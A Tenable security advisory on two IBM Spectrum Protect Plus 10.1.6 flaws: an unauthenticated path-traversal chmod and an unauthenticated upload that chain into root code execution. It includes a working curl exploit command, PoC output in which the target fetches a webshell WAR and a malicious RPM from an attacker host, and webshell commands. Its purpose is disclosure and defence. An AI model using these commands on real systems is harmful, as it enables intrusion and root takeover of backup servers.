Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

IBM Spectrum Protect Plus 10.1.6-1974 Multiple Vulnerabilities

High

Synopsis

CVE-2020-4711

The flaw exists in /opt/ECX/tools/scripts/restore_wrapper.sh, where a directory path check can be bypassed via path traversal (i.e.,/tmp/../any/dir/in/the/file/system):

...
if [ ${mode} == "initialize" ]; then

        if [ $# -ne 2 ]; then
            logMsg "$0 incorrect number of arguments."
            failed_exit
        fi

        if ! [[ $2 =~ ^/tmp/ ]] ; then
            logMsg "Directory $2 is not allowed to use for restore."
            failed_exit
        fi

        logMsg "Stopping virgo"
        systemctl stop virgo
        logMsg "Done stopping virgo"
        sleep 5
        chmod -R 777 $2
...

An unauthenticated, remote attacker can exploit this issue by sending a specially crafted HTTP request to URL endpoint https://<spp_host>:8090/catalogmanager/api/catalog, which doesn't require authentication when the cmode parameter is restorefromjob:

...
  @CrossOrigin
  @PostMapping({"/api/catalog"})
  @SendTo({"/topic/catalogmanagerprogress"})
  public HashMap<String, CommandOutput> manageCatalog(@RequestParam(value = "cmode", required = true) String cmode, @RequestParam(value = "ctarget", required = true) String ctarget, @RequestParam(value = "excludeFACatalog", required = false) boolean excludeFACatalog, @RequestHeader(value = "x-ac-sessionid", required = false) String sessionId) throws Exception {
    if (cmode.equals("restorefromjob"))
      return this.catalogManagerServiceImpl.restoreFromJob(ctarget); 
    if (isValidSessionId(sessionId)) { 
...    

The endpoint handler calls the com.catalogic.ecx.catalogmanager.domain.CatalogManagerServiceImpl.restoreFromJob method without checking for user credentials. The restoreFromJob method executes the /opt/ECX/tools/scripts/restore_wrapper.sh script as root, passing the attacker-controlled HTTP parameter ctarget/cRestoreTarget to the script:

  public HashMap<String, CommandOutput> restoreFromJob(String cRestoreTarget) {
    this.systemHelper.executeScript("sudo", "/opt/ECX/tools/scripts", "restore_wrapper.sh", new String[] { "initialize", cRestoreTarget });
    this.systemHelper.executeScript("sudo", "/opt/ECX/tools/scripts", "managedb_wrapper.sh", new String[] { "--mode", "restore", "--restore-dir", cRestoreTarget, "--log", Constants.CATALOG_RESTORE_LOG_FILENAME });
    return this.systemHelper.executeScript("sudo", "/opt/ECX/tools/scripts", "restore_wrapper.sh", new String[] { "finalize" });
  }

This allows the attacker to perform a chmod -R 777 on any directory via path traversal:

curl -ki  -d 'cmode=restorefromjob&ctarget=/tmp/../any/dir/in/the/file/system' https://<spp-host>:8090/catalogmanager/api/catalog 

CVE-2020-4703

Exploiting CVE-2020-4770 involves two operations. The first operation is to upload a malicious RPM package to a directory writable by the administrator account by sending an HTTP POST message to URL endpoint https://<spp_host>:8090/api/plugin. The second operation is to install the malicious RPM by sending an HTTP POST message to URL endpoint http://<spp_host>:8090/emi/api/hotfix. On a vulnerable SPP host, authentication is not required for both operations. The fix for CVE-2020-4470 only addressed the second operation by enforcing authentication for the /emi/api/hotfix endpoint; it still allows unauthenticated arbitrary file upload to a directory writable by the administrator account, under which the endpoint handlers run.

When combining with vulnerability 1), an unauthenticated, remote attacker can upload any file to any directory on the remote SPP host, leading to an unauthenticated RCE. For example, the attacker can upload a malicious RPM package to /tmp (world writable) and a malicious war (web archive) file to /opt/virgo/pickup. The pickup directory is normally not writable by the administrator account, but the attacker can change the permission of the pickup directory to 777 using vulnerability 1). Once the war file is in the pickup directory, it triggers virgo to redeploy all artifacts (including the uploaded war) in the pickup directory. The war file contains a webshell (i.e., webshell.jsp) to be run under the virgo account, which can run /bin/rpm as root via sudo:

[[email protected] ~]# cat /etc/sudoers.d/ecx-sudoers | grep virgo
virgo ALL=NOPASSWD:/bin/rpm, /usr/bin/mount, /usr/bin/umount, /opt/ECX/tools/scripts/update_resolv.py, /opt/ECX/tools/scripts/update_aws_cert.py, /opt/ECX/tools/scripts/managedb_wrapper.sh, /opt/ECX/tools/scripts/prepare_backup.sh, /tmp

The attacker can put malicious content (i.e., scriptlets) in the RPM and and issue a 'sudo /bin/rpm -ivh /tmp/<uploaded_malicious_rpm>' command to the webshell, achieving unauthenticated RCE as root.

Here is a PoC, which writes the output of the id command to /tmp/hacked on a vulnerable remote SPP host:

[email protected]/work/spp# python3 ibm_spp_war_upload_rce.py <spp_host> attacker-rpm-1.0-0.noarch.rpm
Connecting to target <spp_host>:8090
Doing chmod -R 777 /opt/virgo/pickup on <spp_host>, could take a few minutes
Creating web archive file XXOC5L5DHHIG.war and tmp dir war_dir in the current directory
adding: webshell.jsp(in = 721) (out= 348)(deflated 51%)
adding: META-INF/(in = 0) (out= 0)(stored 0%)
adding: META-INF/MANIFEST.MF(in = 34) (out= 36)(deflated -5%)
Starting httpd on <attacker_host>:8080, DocumentRoot /work/spp
Requesting <spp_host> to download XXOC5L5DHHIG.war from <attacker_host>:8080
<spp_host> - - [29/Jul/2020 18:08:52] "GET /XXOC5L5DHHIG.war HTTP/1.1" 200 -
Requesting <spp_host> to download attacker-rpm-1.0-0.noarch.rpm from <attacker_host>:8080
<spp_host> - - [29/Jul/2020 18:08:52] "GET /attacker-rpm-1.0-0.noarch.rpm HTTP/1.1" 200 -
Waiting 360 seconds for virgo to redeploy artifacts in /opt/virgo/pickup (XXOC5L5DHHIG.war included)
Issuing command: https://<spp_host>/api/XXOC5L5DHHIG/webshell.jsp?cmd=sudo+%2Fbin%2Frpm+-ivh+%2Ftmp%2Fattacker-rpm-1.0-0.noarch.rpm


<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: sudo /bin/rpm -ivh /tmp/attacker-rpm-1.0-0.noarch.rpm<BR>
Preparing...                          ########################################
Updating / installing...
attacker-rpm-1.0-0                    ########################################

</pre>
</BODY></HTML>
If there is no output for command sudo /bin/rpm -ivh /tmp/attacker-rpm-1.0-0.noarch.rpm, it is possible that virgo has not finished redeploying the artifacts. You may want to retry the command with curl -k  https://<spp_host>/api/XXOC5L5DHHIG/webshell.jsp?cmd=sudo+%2Fbin%2Frpm+-ivh+%2Ftmp%2Fattacker-rpm-1.0-0.noarch.rpm at a later time.

If there is a command output, please check if /tmp/hacked was created by root on <spp_host>
Deleting tmp dir war_dir
Deleting web archive file XXOC5L5DHHIG.war

Solution

Apply vendor provided patch.

Disclosure Timeline

07/31/2020 - Vulnerabilities discovered
8/18/2020 - Tenable discloses to IBM PSIRT. 90 days expires November 16. 7 days for prior incomplete patch expires August 25.
8/18/2020 - IBM acknowledges, but disputes our timelines and policy.
8/18/2020 - Tenable marks issue for managerial review.
8/19/2020 - Tenable clarifies policy.
8/20/2020 - IBM reiterates dispute.
8/20/2020 - Tenable rejects dispute.
9/8/2020 - Tenable requests status update.
9/8/2020 - IBM states that fixes are in progress.
9/14/2020 - IBM releases patches and advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 30 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now
Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year. Full details here.

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 30 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 30 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.

Try for Free Contact Sales

Try Tenable Lumin

FREE FOR 30 DAYS

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Request a demo of Tenable.ot

Get the Operational Technology Security You Need.
Reduce the Risk You Don’t.